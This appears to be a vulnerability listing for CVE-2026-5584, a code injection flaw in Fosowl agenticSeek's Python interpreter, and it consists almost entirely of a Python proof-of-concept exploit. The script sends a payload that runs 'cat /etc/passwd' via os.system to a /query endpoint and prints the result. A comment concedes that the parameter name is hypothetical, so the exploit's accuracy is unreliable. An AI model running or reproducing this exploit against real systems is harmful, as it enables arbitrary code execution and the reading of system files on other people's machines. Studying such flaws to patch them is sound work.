CVE-2026-5584 Fosowl agenticSeek 代码注入漏洞

import requests def exploit_code_injection(target_url): """ PoC for CVE-2026-5584: Code Injection in PyInterpreter.execute """ # The endpoint vulnerable to injection endpoint = f"{target_url}/query" # Payload to execute arbitrary Python code # Example: Reading /etc/passwd or executing a shell command payload = { # Hypothetical parameter based on 'PyInterpreter' context "code": "__import__('os').system('cat /etc/passwd')" } try: print(f"[*] Sending payload to {endpoint}...") response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully!") print("[+] Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target IP/Domain target = "http://127.0.0.1:8000" exploit_code_injection(target)